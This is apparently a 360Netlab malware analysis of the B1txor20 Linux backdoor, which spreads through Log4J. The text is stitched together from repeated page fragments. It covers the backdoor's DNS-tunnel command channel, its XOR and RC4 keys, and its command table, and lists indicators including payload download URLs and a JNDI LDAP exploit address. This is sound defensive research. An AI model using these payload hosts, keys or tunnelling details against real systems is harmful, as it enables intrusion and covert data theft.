185.220.101.140 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.143 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.144 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.151 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.155 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.161 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.162 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.164 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.166 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.168 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.172 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.174 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.176 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.181 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.191 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.34 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.37 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.39 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.40 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.42 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.43 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.46 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.5 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.50 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.51 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.53 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.54 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.56 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.57 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.61 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.56.80.65 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
193.218.118.158 Ukraine|Kiev|Unknown None;
194.32.107.159 Romania|Romania|Unknown None;
194.32.107.187 Romania|Romania|Unknown None;
194.88.143.66 Italy|Lombardy|Metropolitan_City_of_Milan 49367|Seflow_S.N.C._Di_Marco_Brame'_&_C.
199.195.250.77 United_States|New_York|New_York_City 53667|FranTech_Solutions
23.129.64.216 United_States|Washington|Seattle 396507|Emerald_Onion
23.154.177.4 North_America_Regions|North_America_Regions|Unknown None;
45.13.104.179 France|Ile-de-France|Paris 57199|MilkyWan
45.154.255.147 Sweden|Stockholm_County|Stockholm 41281|KeFF_Networks_Ltd
45.61.185.90 United_States|United_States|Unknown 8100|QuadraNet_Enterprises_LLC
46.166.139.111 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
5.2.69.50 Netherlands|Flevoland|Dronten 60404|Liteserver_Holding_B.V.
51.15.43.205 Netherlands|North_Holland|Haarlem 12876|Online_S.a.s.
62.102.148.68 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
62.102.148.69 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
81.17.18.62 Switzerland|Canton_of_Ticino|Unknown 51852|Private_Layer_INC
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>hxxp://179.60.150.23:8000/xExportObject.class
ldap://179.60.150.23:1389/o=tomcat
hxxp://194.165.16.24:8229/b1t_1t.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/_run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/share.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8229/b4d4b1t.elf
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>027d74534a32ba27f225fff6ee7a755f
0a0c43726fd256ad827f4108bdf5e772
24c49e4c75c6662365e10bbaeaeecb04
2e5724e968f91faaf156c48ec879bb40
3192e913ed0138b2de32c5e95146a24a
40024288c0d230c0b8ad86075bd7c678
43fcb5f22a53a88e726ebef46095cd6b
59690bd935184f2ce4b7de0a60e23f57
5f77c32c37ae7d25e927d91eb3b61c87
6b42a9f10db8b11a15006abced212fa4
6c05637c29b347c28d05b937e670c81e
7ef9d37e18b48de4b26e5d188a383ec8
7f4e74e15fafaf3f8b79254558019d7f
989dd7aa17244da78309d441d265613a
dd4b6e2750f86f2630e3aea418d294c0
e82135951c3d485b7133b9673194a79e
fd84b2f06f90940cb920e20ad4a30a63
</code></pre>
<!--kg-card-end: markdown--> | Background
Since the Log4J vulnerability was exposed, we see more and more malware jumped on the wagon, Elknot, Gafgyt, Mirai are all too familiar, on February 9, 2022, 360Netlab's honeypot system captured an unknown ELF file propagating through the Log4J vulnerability. What stands out is that the network traffic generated by this sample triggered a DNS Tunnel alert in our system, We decided to take a close look, and indeed, it is a new botnet family, which we named B1txor20 based on its propagation using the file name "b1t", the XOR encryption algorithm, and the RC4 algorithm key length of 20 bytes.
In short, B1txor20 is a Backdoor for the Linux platform, which uses DNS Tunnel technology to build C2 communication channels. In addition to the traditional backdoor functions, B1txor20 also has functions such as opening Socket5 proxy and remotely downloading and installing Rootkit.
Another interesting point is that we found that many developed features are not put into use (in IDA, there is no cross-reference); some features have bugs. we presume that the author of B1txor20 will continue to improve and open different features according to different scenarios, so maybe we will meet B1txor20's siblings in the future.
B1txor20 Overview
We have captured a total of four different B1txor20 samples, their functions are almost the same, a total of 15 function numbers are supported, according to these functions, B1txor20 can be characterized as: using DNS Tunnel to establish C2 channel, support direct connection and relay, while using ZLIB compression, RC4 encryption, BASE64 encodingto protect the traffic of the backdoor Trojan, mainly targets ARM, X64 CPU architecture of the Linux platform.
The main features currently supported are shown below.
1. SHELL
2. Proxy
3. Execute arbitrary commands
4. Install Rootkit
5. Upload sensitive information
Its basic flowchart is shown below.
Reverse Analysis
We choose the sample on February 09, 2022 as the main object of analysis, and its basic information is shown as follows.
MD5:0a0c43726fd256ad827f4108bdf5e772
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Packer:None
The sample of B1txor20 is dynamically linked, so it is relatively easy to reverse. Simply put, when B1txor20 executes, it will first disguise itself as a [netns] process, run a single instance through the PID file/var/run/.netns.pid, and then use /etc/machine-id, /tmp/.138171241 or /dev/urandom to generate the BotID, then decrypt the domain name used for DNS Tunnel and the RC4 secret key used to encrypt the traffic and test the connectivity of the DNS server, and finally use DNS Tunnel to send registration information to C2 and wait for the execution of the commands issued by C2. Here we will not go into details about the regular functions, we will take a look at the DNS Tunnel implementation of the B1txor20.
Generating Bot ID
B1txor20 uses the following code snippet to read 32 bytes from /etc/machine-id, or /tmp/.138171241, for generating BotId, and if it fails, a 16 bytes of data will be generated via /dev/urandom and will be written to the previous 2 files.
The following code snippet shows the process of BotId calculation.
Taking the machine-id valueab3b49d10ec42c38b1093b8ce9ad12afof our VM as an example, the following equivalent python code can be used to calculate the value of BotId as 0x125d.
import struct
id='ab3b49d10ec42c38b1093b8ce9ad12af'
values=struct.unpack("<16H",id)
sum=0
for i in values:
sum ^= i
print hex(sum)
if sum&0xff <0xf:
sum+=0x10
if sum>>8 < 0xf:
sum+=0x1000
print hex(sum) # sum=0x125d
Decryption
B1txor20 decrypts the domain name and RC4 secret key stored in the sample with the following code snippet.
Its principle is very simple, it is a single-byte xor operation, where xor_key is49 D3 4F A7 A2 BC 4D FA 40 CF A6 32 31 E9 59 A1.
The decryption process is equivalent to the CyberChef implementation in the following figure, which shows that the domain name is.dns.webserv.systems and the RC4 secret key is EnLgLKHhy20f8A1dX85l.
Measure the connectivity of DNS servers
B1txor20 tests the connectivity of 3 DNS (8.8.8.8:53, 8.8.8.4:53, 194.165.16.24:443) servers with the following code snippet.
The principle is to use res_mkquery API to build the DNS request message for "google.com", then send the request via res_send, and as long as it can be sent successfully, the network is considered to be connected to the corresponding DNS server, and they are saved for subsequent use.
The actual traffic generated by Bot and 194.165.16.24 is as follows.
C&C Communication
When the above preparations are completed, B1txor20 enters the final stage, using DNS Tunnel to establish communication with C2 and wait for the execution of the commands sent by C2.
Generally speaking, the scenario of malware using DNS Tunnel is as follows:
Bot sends the stolen sensitive information, command execution results, and any other information that needs to be delivered, after hiding it using specific encoding techniques, to C2 as a DNS request; After receiving the request, C2 sends the payload to the Bot side as a response to the DNS request. In this way, Bot and C2 achieve communication with the help of DNS protocol.
In such a network structure, there are 3 key points:
1:C2 must support the DNS protocol
2: Specific encoding techniques
3: The way DNS requests are sent
The following section will analyze the technical details of B1txor20's communication around these points, in conjunction with the traffic generated by B1txor20 in practice.
0x01:Locating C2
Through the traffic in the above figure, we can see that the SLD used by B1txor20 is webserv.systems, and using the DIG command, we can see that this SLD is point to IP 194.165.16.24; and the DNS resolution service is turned on at this IP 194, so we can determine that the C2 of B1txor20 is exactly 194.165.16.24.
0x02:Generate Tunnel domain name
The format of B1txor20's Tunnel domain name isBase64-Like String+.dns.websrv.systems. It is obvious that the front Base64 string is the information sent by Bot to C2, how is it generated?
First, the B1txor20 packet has a pre-construction process, which can be seen in the format of0xFF + BotId + 0xFF + Stage + 0xFF + TaskInfo, 0xFF is used to separate different items, and when the construction is finished, according to different Stage values, different tasks will fill theTaskInfosection accordingly.
Take the above task as an example, the Stage value is 1. Through the gather_info function, the information of "sysinfo_uptime,uid,hostname" is filled into TaskInfo, and they are separated by0x0a.
When the required information is ready, B1txor20 uses theprocess_queryfunction to further process the above information, which includes three processes: ZLIB compression, RC4 encryption, and Base64 encoding.
The secret key used in RC4 encryption is the string "EnLgLKHhy20f8A1dX85l" mentioned in the previous decryption section, and the Alphabet String used in Base64 is ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^_.
Finally, B1txor20 adds 1 byte of status and 4 bytes of random string before the Base64 string generated above, and then splices it with domain, which is the final domain name to be queried. The value of status is ['0', '1', '2'], 0 means that the current query is truncated, the subsequent query and the current should be spelled into the same; 1 means that when the query is complete.
Let's take a look at the actual generated query 1HQoOKPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A.dns.webserv.systems, removing the first 5 bytes, and the .dns.webserv.systems part to get KPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A, then use Base64 decoding, RC4 decryption, ZLIB decompression, you can get the following raw data.
From the data content and format, it can correspond with our previous description one by one, indicating that our previous analysis is correct.
Botid =0x125d
Stage=1
sysinfo.uptime = 34
uid=30
hostname=debian
0x3:Send DNS request
When the above domain name construction is complete, B1txor20 generates and sends DNS requests using the RES series API.
There are 3 ways to send DNS requests, depending on the previous test of DNS connectivity.
1.Send to public dns (8.8.8.8, 8.8.4.4)
2.Send directly to C2 (194.165.16.24)
3.Send to local dns (nameserver in /etc/resolv.conf)
In this way, it is faster, but less concealed and easy to be detected and traced; in this way, 1 and 3 are more concealed, but a little slower.
0x4:Process C2 payload
After the Bot sends the DNS request in the above way, it waits for the execution of the C2 instruction, which is stored in the response message of the DNS request in the format of Status(1 byte):Body, where the Body part also uses "ZLIB compression, RC4 encryption, BASE64 encoding " protection method.
For example, the actual command "1VSE6NZwczNMm2zgaXeLkZro=" is received in the following figure.
Body part for "VSE6NZwczNMm2zgaXeLkZro=", After decoded by Base64, RC4 decryption, you can get the following format of data, and then decompression of thered part, you get the final instruction FF 02 FF 0A FF, you can see that its format and the format generated by the above query is consistent, at this point it can be known that Bot will go to perform 0x02 function, so that Bot's round of interaction with C2 is complete.
C&C instructions
B1txor20 supports a total of 14 instructions, and the correspondence between instruction number and function is shown in the following table.
Cmd ID
Function
0x1
Beacon/Heartbeat
0x2
Upload system info
0x3
Create "/dev/pamd" (unix domain socket) which can get a shell
0x4
Exec arbitrary system cmd via popen
0x5
Traffic forwarding
0x6
Write File
0x7
Read File
0x8
Deliver info via "/var/tmp/.unetns"(unix domain socket),Not used
0x9
Upload specific info,Not used
0x10
Stop proxy service
0x11
Start proxy service
0x1a
Create proxy service
0x21
Reverse shell
0x50
Upload "/boot/conf- XXX" info,Not used
0x51
install M3T4M0RPH1N3.ko rootkit
In the table, "Not used" means that this function has the corresponding processing code in the sample, but it is not called. We are not sure if these codes are used for debugging or in other scenarios.
We found that some functions are buggy in their implementation, such as 0x3, which uses the remove function to delete the socket file after bind the domain socket, which makes the socket unconnectable and thus the whole function is useless.
Small note
We noticed the domain name has been registered for 6 years, which is kind unusual?
webserv.systems createddate 2021-02-08 15:13:22
webserv.systems updateddate 2021-02-24 22:27:23
webserv.systems expiresdate 2027-02-08 15:13:22
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
IOC
C2
webserv.systems
194.165.16.24:53
194.165.16.24:443
Scanner
104.244.73.126 Luxembourg|Luxembourg|Unknown 53667|FranTech_Solutions
109.201.133.100 Netherlands|North_Holland|Amsterdam 43350|NForce_Entertainment_B.V.
162.247.74.27 United_States|New_York|New_York_City 4224|The_Calyx_Institute
166.78.48.7 United_States|Texas|Dallas 33070|Rackspace_Hosting
171.25.193.78 Sweden|Stockholm_County|Stockholm 198093|Foreningen_for_digitala_fri-_och_rattigheter
185.100.87.202 Romania|Bucharest|Unknown 200651|Flokinet_Ltd
185.129.62.62 Denmark|Region_Hovedstaden|Copenhagen 57860|Zencurity_ApS
185.220.100.240 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.241 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.242 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.243 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.246 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.249 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.250 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.252 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.254 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.255 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.101.134 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.136 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.140 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.143 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.144 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.151 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.155 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.161 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.162 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.164 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.166 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.168 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.172 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.174 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.176 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.181 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.191 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.34 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.37 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.39 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.40 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.42 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.43 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.46 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.5 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.50 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.51 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.53 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.54 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.56 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.57 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.61 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.56.80.65 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
193.218.118.158 Ukraine|Kiev|Unknown None;
194.32.107.159 Romania|Romania|Unknown None;
194.32.107.187 Romania|Romania|Unknown None;
194.88.143.66 Italy|Lombardy|Metropolitan_City_of_Milan 49367|Seflow_S.N.C._Di_Marco_Brame'_&_C.
199.195.250.77 United_States|New_York|New_York_City 53667|FranTech_Solutions
23.129.64.216 United_States|Washington|Seattle 396507|Emerald_Onion
23.154.177.4 North_America_Regions|North_America_Regions|Unknown None;
45.13.104.179 France|Ile-de-France|Paris 57199|MilkyWan
45.154.255.147 Sweden|Stockholm_County|Stockholm 41281|KeFF_Networks_Ltd
45.61.185.90 United_States|United_States|Unknown 8100|QuadraNet_Enterprises_LLC
46.166.139.111 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
5.2.69.50 Netherlands|Flevoland|Dronten 60404|Liteserver_Holding_B.V.
51.15.43.205 Netherlands|North_Holland|Haarlem 12876|Online_S.a.s.
62.102.148.68 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
62.102.148.69 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
81.17.18.62 Switzerland|Canton_of_Ticino|Unknown 51852|Private_Layer_INC
Downloader
hxxp://179.60.150.23:8000/xExportObject.class
ldap://179.60.150.23:1389/o=tomcat
hxxp://194.165.16.24:8229/b1t_1t.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/_run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/share.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8229/b4d4b1t.elf
Sample MD5
027d74534a32ba27f225fff6ee7a755f
0a0c43726fd256ad827f4108bdf5e772
24c49e4c75c6662365e10bbaeaeecb04
2e5724e968f91faaf156c48ec879bb40
3192e913ed0138b2de32c5e95146a24a
40024288c0d230c0b8ad86075bd7c678
43fcb5f22a53a88e726ebef46095cd6b
59690bd935184f2ce4b7de0a60e23f57
5f77c32c37ae7d25e927d91eb3b61c87
6b42a9f10db8b11a15006abced212fa4
6c05637c29b347c28d05b937e670c81e
7ef9d37e18b48de4b26e5d188a383ec8
7f4e74e15fafaf3f8b79254558019d7f
989dd7aa17244da78309d441d265613a
dd4b6e2750f86f2630e3aea418d294c0
e82135951c3d485b7133b9673194a79e
fd84b2f06f90940cb920e20ad4a30a63
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nSince the **Log4J vulnerability** was exposed, we see more and more malware jumped on the wagon, Elknot, Gafgyt, Mirai are all too familiar, on February 9, 2022, 360Netlab's honeypot system captured an unknown ELF file propagating through the Log4J vulnerability. What stands out is that the network traffic generated by this sample triggered a **DNS Tunnel alert** in our system, We decided to take a close look, and indeed, it is a new botnet family, which we named **B1txor20** based on its propagation using the file name \"b1t\", the XOR encryption algorithm, and the RC4 algorithm key length of 20 bytes.\n\nIn short, B1txor20 is a Backdoor for the Linux platform, which uses DNS Tunnel technology to build C2 communication channels. In addition to the traditional backdoor functions, B1txor20 also has functions such as opening Socket5 proxy and remotely downloading and installing Rootkit.\n\n\nAnother interesting point is that we found that many developed features are not put into use (in IDA, there is no cross-reference); some features have bugs. we presume that the author of B1txor20 will continue to improve and open different features according to different scenarios, so maybe we will meet B1txor20's siblings in the future.\n\n\n## B1txor20 Overview\nWe have captured a total of four different B1txor20 samples, their functions are almost the same, a total of 15 function numbers are supported, according to these functions, B1txor20 can be characterized as: **using DNS Tunnel to establish C2 channel**, support direct connection and relay, while using ```ZLIB compression, RC4 encryption, BASE64 encoding```to protect the traffic of the backdoor Trojan, mainly targets ``ARM, X64 CPU`` architecture of the Linux platform.\n\nThe main features currently supported are shown below.\n\n1. SHELL\n2. Proxy\n3. Execute arbitrary commands\n4. Install Rootkit\n5. Upload sensitive information\n\nIts basic flowchart is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_net.png\" width=\"860px\" />\n\n## Reverse Analysis\nWe choose the sample on February 09, 2022 as the main object of analysis, and its basic information is shown as follows.\n\n```\nMD5:0a0c43726fd256ad827f4108bdf5e772\n\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped\n\nPacker:None\n```\n\nThe sample of B1txor20 is dynamically linked, so it is relatively easy to reverse. Simply put, when B1txor20 executes, it will first disguise itself as a [netns] process, run a single instance through the PID file``/var/run/.netns.pid``, and then use ``/etc/machine-id``, ``/tmp/.138171241`` or ``/dev/urandom`` to generate the BotID, then decrypt the domain name used for DNS Tunnel and the RC4 secret key used to encrypt the traffic and test the connectivity of the DNS server, and finally use DNS Tunnel to send registration information to C2 and wait for the execution of the commands issued by C2. Here we will not go into details about the regular functions, we will take a look at the DNS Tunnel implementation of the B1txor20.\n\n## Generating Bot ID\n\nB1txor20 uses the following code snippet to read 32 bytes from ``/etc/machine-id``, or ``/tmp/.138171241``, for generating BotId, and if it fails, a 16 bytes of data will be generated via /dev/urandom and will be written to the previous 2 files.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_id.png\" width=\"860px\" />\n\n\n\nThe following code snippet shows the process of BotId calculation.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_calc.png\" width=\"860px\" />\n\n\nTaking the machine-id value``ab3b49d10ec42c38b1093b8ce9ad12af``of our VM as an example, the following equivalent python code can be used to calculate the value of BotId as **0x125d**.\n\n```python\nimport struct\nid='ab3b49d10ec42c38b1093b8ce9ad12af'\nvalues=struct.unpack(\"<16H\",id)\nsum=0\nfor i in values:\n sum ^= i\nprint hex(sum)\nif sum&0xff <0xf:\n sum+=0x10\nif sum>>8 < 0xf:\n sum+=0x1000\nprint hex(sum) # sum=0x125d\n\n```\n\n## Decryption\nB1txor20 decrypts the domain name and RC4 secret key stored in the sample with the following code snippet.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_dec.png\" width=\"860px\" />\n\nIts principle is very simple, it is a single-byte xor operation, where xor_key is```49 D3 4F A7 A2 BC 4D FA 40 CF A6 32 31 E9 59 A1```.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_xor.png\" width=\"860px\" />\n\nThe decryption process is equivalent to the CyberChef implementation in the following figure, which shows that the domain name is``.dns.webserv.systems`` and the RC4 secret key is ``EnLgLKHhy20f8A1dX85l``.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_chef_xor.png\" width=\"860px\" />\n\n## Measure the connectivity of DNS servers\nB1txor20 tests the connectivity of 3 DNS (8.8.8.8:53, 8.8.8.4:53, 194.165.16.24:443) servers with the following code snippet.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_dns.png\" width=\"860px\" />\n\nThe principle is to use ``res_mkquery`` API to build the DNS request message for \"google.com\", then send the request via ``res_send``, and as long as it can be sent successfully, the network is considered to be connected to the corresponding DNS server, and they are saved for subsequent use.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_test.png\" width=\"860px\" />\n\nThe actual traffic generated by Bot and 194.165.16.24 is as follows.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_show.png\" width=\"860px\" />\n\n## C&C Communication\nWhen the above preparations are completed, B1txor20 enters the final stage, using DNS Tunnel to establish communication with C2 and wait for the execution of the commands sent by C2.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_final.png\" width=\"860px\" />\n\nGenerally speaking, the scenario of malware using DNS Tunnel is as follows: \n>Bot sends the stolen sensitive information, command execution results, and any other information that needs to be delivered, after hiding it using specific encoding techniques, to C2 as a DNS request; After receiving the request, C2 sends the payload to the Bot side as a response to the DNS request. In this way, Bot and C2 achieve communication with the help of DNS protocol.\n\nIn such a network structure, there are 3 key points:\n\n1:C2 must support the DNS protocol\n2: Specific encoding techniques\n3: The way DNS requests are sent\n\nThe following section will analyze the technical details of B1txor20's communication around these points, in conjunction with the traffic generated by B1txor20 in practice.\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_packet.png\" width=\"860px\" />\n\n## 0x01:Locating C2\nThrough the traffic in the above figure, we can see that the SLD used by B1txor20 is webserv.systems, and using the DIG command, we can see that this SLD is point to IP 194.165.16.24; and the DNS resolution service is turned on at this IP 194, so we can determine that the C2 of B1txor20 is exactly 194.165.16.24.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_dnstxt.png\" width=\"860px\" />\n\n## 0x02:Generate Tunnel domain name\nThe format of B1txor20's Tunnel domain name is```Base64-Like String+.dns.websrv.systems```. It is obvious that the front Base64 string is the information sent by Bot to C2, **how is it generated**?\n\nFirst, the B1txor20 packet has a pre-construction process, which can be seen in the format of``0xFF + BotId + 0xFF + Stage + 0xFF + TaskInfo``, **0xFF** is used to separate different items, and when the construction is finished, according to different Stage values, different tasks will fill the``TaskInfo``section accordingly. \n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_pre.png\" width=\"860px\" />\n\nTake the above task as an example, the Stage value is 1. Through the ``gather_info`` function, the information of \"sysinfo_uptime,uid,hostname\" is filled into ``TaskInfo``, and they are separated by**0x0a**.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_reg.png\" width=\"860px\" />\n\nWhen the required information is ready, B1txor20 uses the**process_query**function to further process the above information, which includes three processes: **ZLIB compression, RC4 encryption, and Base64 encoding**.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_process.png\" width=\"860px\" />\n\nThe secret key used in RC4 encryption is the string \"EnLgLKHhy20f8A1dX85l\" mentioned in the previous decryption section, and the Alphabet String used in Base64 is ``ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^_``.\n\nFinally, B1txor20 adds 1 byte of status and 4 bytes of random string before the Base64 string generated above, and then splices it with domain, which is the final domain name to be queried. The value of status is ['0', '1', '2'], 0 means that the current query is truncated, the subsequent query and the current should be spelled into the same; 1 means that when the query is complete.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_tun.png\" width=\"860px\" />\n\nLet's take a look at the actual generated query ```1HQoOKPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A.dns.webserv.systems```, removing the first 5 bytes, and the .dns.webserv.systems part to get ``KPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A``, then use Base64 decoding, RC4 decryption, ZLIB decompression, you can get the following raw data.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_origin.png\" width=\"860px\" />\n\nFrom the data content and format, it can correspond with our previous description one by one, indicating that our previous analysis is correct.\n\n```\nBotid =0x125d\nStage=1\nsysinfo.uptime = 34\nuid=30\nhostname=debian\n```\n\n\n## 0x3:Send DNS request\n\nWhen the above domain name construction is complete, B1txor20 generates and sends DNS requests using the RES series API.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_senddns.png\" width=\"860px\" />\n\nThere are 3 ways to send DNS requests, depending on the previous test of DNS connectivity.\n\n1.Send to public dns (8.8.8.8, 8.8.4.4)\n2.Send directly to C2 (194.165.16.24)\n3.Send to local dns (nameserver in /etc/resolv.conf)\n\n\nIn this way, it is faster, but less concealed and easy to be detected and traced; in this way, 1 and 3 are more concealed, but a little slower.\n\n## 0x4:Process C2 payload\nAfter the Bot sends the DNS request in the above way, it waits for the execution of the C2 instruction, which is stored in the response message of the DNS request in the format of ```Status(1 byte):Body```, where the Body part also uses \"ZLIB compression, RC4 encryption, BASE64 encoding \" protection method.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_recv.png\" width=\"860px\" />\n\nFor example, the actual command \"1VSE6NZwczNMm2zgaXeLkZro=\" is received in the following figure.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_cmd.png\" width=\"860px\" />\n\nBody part for \"VSE6NZwczNMm2zgaXeLkZro=\", After decoded by Base64, RC4 decryption, you can get the following format of data, and then decompression of the``red part``, you get the final instruction ``FF 02 FF 0A FF``, you can see that its format and the format generated by the above query is consistent, at this point it can be known that Bot will go to perform 0x02 function, so that Bot's round of interaction with C2 is complete.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_after.png\" width=\"860px\" />\n\n## C&C instructions\nB1txor20 supports a total of 14 